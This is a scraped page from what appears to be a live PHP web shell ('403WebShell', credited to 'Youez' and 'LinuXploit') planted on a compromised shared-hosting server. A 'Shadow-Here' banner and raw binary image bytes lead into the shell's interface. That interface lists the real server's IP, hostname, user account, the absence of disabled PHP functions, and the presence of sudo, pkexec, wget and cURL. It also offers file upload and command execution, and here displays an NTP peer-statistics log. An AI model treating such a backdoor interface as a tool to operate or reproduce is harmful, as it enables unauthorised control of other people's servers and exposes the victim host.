....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 66.235.200.170  /  Your IP : 3.14.8.164
Web Server : Apache
System : Linux gator4410.hostgator.com 5.14.0-162.23.1.9991722448259.nf.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 31 18:11:45 UTC 2024 x86_64
User : bmgxafte ( 1214)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/var/log/ntpstats/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/var/log/ntpstats/peerstats.20250103
60678 1615.834 10.29.88.30 b61a -0.000217043 0.001521939 0.019407800 0.000159013
60678 2662.833 10.29.88.30 b61a 0.000323014 0.001380356 0.015263112 0.000485950
60678 4788.833 10.29.88.30 b61a -0.000115400 0.001390694 0.015430573 0.000228592
60678 6887.834 10.29.88.30 b61a 0.000086876 0.001718111 0.019149111 0.000510361
60678 7974.834 10.29.88.30 b61a -0.001457396 0.001620264 0.015487821 0.001411974
60678 9038.833 10.29.88.30 b61a -0.001742330 0.001394864 0.015443933 0.001586913
60678 10112.833 10.29.88.30 b61a -0.001294280 0.001344216 0.015496725 0.001087864
60678 12176.833 10.29.88.30 b61a -0.000225895 0.001191321 0.015036645 0.000939069
60678 14276.834 10.29.88.30 b61a 0.000183180 0.001264127 0.019107564 0.001317628
60678 15341.833 10.29.88.30 b61a 0.001079404 0.001348482 0.015290064 0.001926447
60678 17446.833 10.29.88.30 b61a 0.001322892 0.001236896 0.015249341 0.001467592
60678 19583.833 10.29.88.30 b61a 0.001180851 0.001180342 0.015466783 0.000667567
60678 21727.834 10.29.88.30 b61a 0.000348227 0.001577097 0.015544013 0.000865635
60678 22798.833 10.29.88.30 b61a -0.000018460 0.001416021 0.015523620 0.001164609
60678 24895.834 10.29.88.30 b61a -0.000418188 0.001571940 0.019005146 0.001284579
60678 25924.833 10.29.88.30 b61a -0.000701152 0.001364841 0.015021707 0.001328538
60678 27463.912 10.29.88.30 b014 0.210929946 0.002057553 7.937500075 0.000000000
60678 27528.910 10.29.88.30 b014 0.178655009 0.001547089 3.937743948 0.032274937
60678 27594.910 10.29.88.30 b014 0.145856341 0.001596981 1.937993385 0.051528278
60678 27661.910 10.29.88.30 b014 0.112245375 0.001225821 0.938186538 0.071364279
60678 27728.910 10.29.88.30 b61a 0.078577237 0.001202121 0.438314521 0.091094485
60678 27793.910 10.29.88.30 b61a 0.046232949 0.001358029 0.188379685 0.109534758
60678 27859.910 10.29.88.30 b61a 0.013275592 0.001321865 0.063427267 0.128543611
60678 27923.910 10.29.88.30 b61a 0.001293128 0.001329769 0.000940043 0.129145409
60678 28250.910 10.29.88.30 b61a 0.000358047 0.001292640 0.002716371 0.018017111
60678 28575.910 10.29.88.30 b61a 0.000128382 0.001309854 0.004760649 0.000165267
60678 28771.910 10.29.88.30 b61a -0.000151277 0.001379227 0.004148053 0.000248614
60678 28971.910 10.29.88.30 b61a -0.000306142 0.001257133 0.002461372 0.000161575
60678 29038.910 10.29.88.30 b61a -0.000252005 0.001168008 0.001223695 0.000136345
60678 29564.910 10.29.88.30 b61a -0.000326266 0.001181942 0.002399261 0.000143615
60678 30084.910 10.29.88.30 b61a -0.000123286 0.001147637 0.003746682 0.000272807
60678 31134.910 10.29.88.30 b61a -0.000429307 0.001168348 0.009611682 0.000168500
60678 31533.910 10.29.88.30 b61a -0.000448100 0.001260610 0.008261039 0.000156864
60678 32056.910 10.29.88.30 b61a -0.000243505 0.001268626 0.006948716 0.000282550
60678 32711.910 10.29.88.30 b61a 0.000129241 0.001369078 0.007192819 0.000121370
60678 33762.910 10.29.88.30 b61a -0.000037885 0.001288821 0.007909243 0.000140948
60678 34018.909 10.29.88.30 b61a -0.000179240 0.000898447 0.004387990 0.000228528
60678 36132.910 10.29.88.30 b61a -0.000356659 0.001229125 0.005228637 0.000277496
60678 37726.909 10.29.88.30 b61a -0.000004738 0.001107308 0.010735803 0.000244146
60678 39842.910 10.29.88.30 b61a -0.000078643 0.001382643 0.012979830 0.000104016
60678 41444.910 10.29.88.30 b61a -0.000126760 0.001524951 0.013728953 0.000128876
60678 42496.910 10.29.88.30 b61a 0.000118761 0.001490238 0.008632117 0.000207054
60678 43567.910 10.29.88.30 b61a 0.000302300 0.001476636 0.009733269 0.000283377
60678 45690.910 10.29.88.30 b61a 0.000329927 0.001393710 0.013685123 0.000202926
60678 47819.910 10.29.88.30 b61a 0.000530852 0.001558261 0.015001023 0.000287297
60678 49973.910 10.29.88.30 b61a 0.000246337 0.001514699 0.015502644 0.000188967
60678 51029.910 10.29.88.30 b61a 0.000019161 0.001219079 0.015406021 0.000393877
60678 52086.909 10.29.88.30 b61a 0.000339906 0.001134608 0.015350120 0.000176120
60678 54178.910 10.29.88.30 b61a 0.000136713 0.001526544 0.019018268 0.000262897
60678 55236.910 10.29.88.30 b61a -0.000118731 0.001531325 0.015226667 0.000386795
60678 57341.910 10.29.88.30 b61a -0.000033928 0.001587353 0.019240400 0.000200602
60678 58398.910 10.29.88.30 b61a -0.000140076 0.001180332 0.015280690 0.000224104
60678 59482.909 10.29.88.30 b61a -0.000306833 0.001091842 0.015491097 0.000343265
60678 61592.910 10.29.88.30 b61a -0.000190720 0.001222384 0.015410356 0.000106147
60678 62640.910 10.29.88.30 b61a -0.000207600 0.001180941 0.015286722 0.000097615
60678 64708.910 10.29.88.30 b61a -0.000065565 0.001544141 0.018908464 0.000165159
60678 65739.910 10.29.88.30 b61a -0.000168125 0.001782025 0.014973779 0.000090107
60678 66774.909 10.29.88.30 b61a -0.000125083 0.001031595 0.014973833 0.000113835
60678 68923.910 10.29.88.30 b61a -0.000123397 0.001393083 0.015406314 0.000053139
60678 71000.910 10.29.88.30 b61a -0.000265939 0.001482814 0.018937409 0.000163935
60678 72078.910 10.29.88.30 b61a -0.000028309 0.001436534 0.015348600 0.000129607
60678 73131.910 10.29.88.30 b61a 0.000242701 0.001364384 0.015294342 0.000369177
60678 75269.910 10.29.88.30 b61a 0.000043769 0.001321622 0.015419029 0.000165801
60678 77386.910 10.29.88.30 b61a -0.000046523 0.001617478 0.019250125 0.000187208
60678 78470.910 10.29.88.30 b61a 0.000223861 0.001352619 0.015505749 0.000198164
60678 80612.910 10.29.88.30 b61a 0.000107269 0.001499459 0.019541980 0.000140905
60678 81684.910 10.29.88.30 b61a 0.000242652 0.001665716 0.015515419 0.000168238
60678 83768.911 10.29.88.30 b61a 0.000362971 0.001872951 0.019149465 0.000199188
60678 84830.910 10.29.88.30 b61a 0.000234931 0.001834286 0.015291184 0.000094716
60678 85862.910 10.29.88.30 b61a 0.000363102 0.001180278 0.015107195 0.000129810

Youez - 2016 - github.com/yon3zu
LinuXploit